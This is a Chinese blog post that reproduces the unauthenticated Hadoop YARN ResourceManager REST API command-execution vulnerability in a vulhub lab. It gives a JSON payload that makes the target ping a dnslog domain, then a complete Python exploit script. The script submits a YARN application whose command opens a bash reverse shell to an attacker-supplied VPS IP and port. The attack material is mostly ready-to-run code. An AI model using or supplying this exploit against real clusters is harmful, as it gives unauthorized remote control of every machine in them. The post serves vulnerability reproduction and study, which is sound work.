Hadoop 漏洞复现

一、漏洞描述

Hadoop作为一个分布式计算应用程序框架,种类功能繁多,各种组件安全问题会带来很大的攻击面。Apache Hadoop YARN是Hadoop的核心组件之一,负责将资源分配在Hadoop集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。(独立出的资源管理框架,负责资源管理和调度)

漏洞产生原因

负责对资源进行同一管理调度的 ReasourceManager 组件的UI管理界面开放在 8080/8088 端口,攻击者无需认证即可通过REST API 部署任务来执行任意命令,最终可完全控制集群中所有的机器

二、环境搭建

cd vulhub/hadoop/unauthorized-yarn

启动环境

docker-compose up -d

在这里插入图片描述
访问 8088 端口
在这里插入图片描述

三、漏洞复现

首先访问(POST请求) /ws/v1/cluster/apps/new-application 获取 application-id
在这里插入图片描述
获取到 application-id 之后,我们访问 /ws/v1/cluster/apps 页面,并且构造 Payload

{"application-id": "application_1659336607746_0001", "application-name": "getshell", "am-container-spec": {"commands": {"command": "ping -c 3 test.clw7xm.dnslog.cn"}}, "application-type": "YARN"}

修改 application-id 的值和你要执行的命令 command
在这里插入图片描述
漏洞利用成功
在这里插入图片描述

四、Exp脚本

# coding:utf-8

import requests

def shell(url,vps_ip,port):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36'
    }
    response = requests.post(url+"/ws/v1/cluster/apps/new-application",headers=headers)
    id = response.json()["application-id"]
    data = {
        'application-id': id,
        'application-name': 'getshell',
        'am-container-spec': {
            'commands': {
                'command': '/bin/bash -i >& /dev/tcp/%s/%s 0>&1'%(vps_ip,port)
            },
        },
        'application-type': 'YARN'}
    exploit = requests.post(url+"/ws/v1/cluster/apps",headers=headers,json=data)
    print("[+] 执行完成!")


if __name__ == '__main__':
    url = input("url:")
    vps_ip = input("vps:")
    port = input("port:")
    shell(url,vps_ip,port)

vps 上监听一个端口
在这里插入图片描述
使用脚本反弹 shell
在这里插入图片描述
利用成功,成功反弹 Shell
在这里插入图片描述

在这里插入图片描述

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值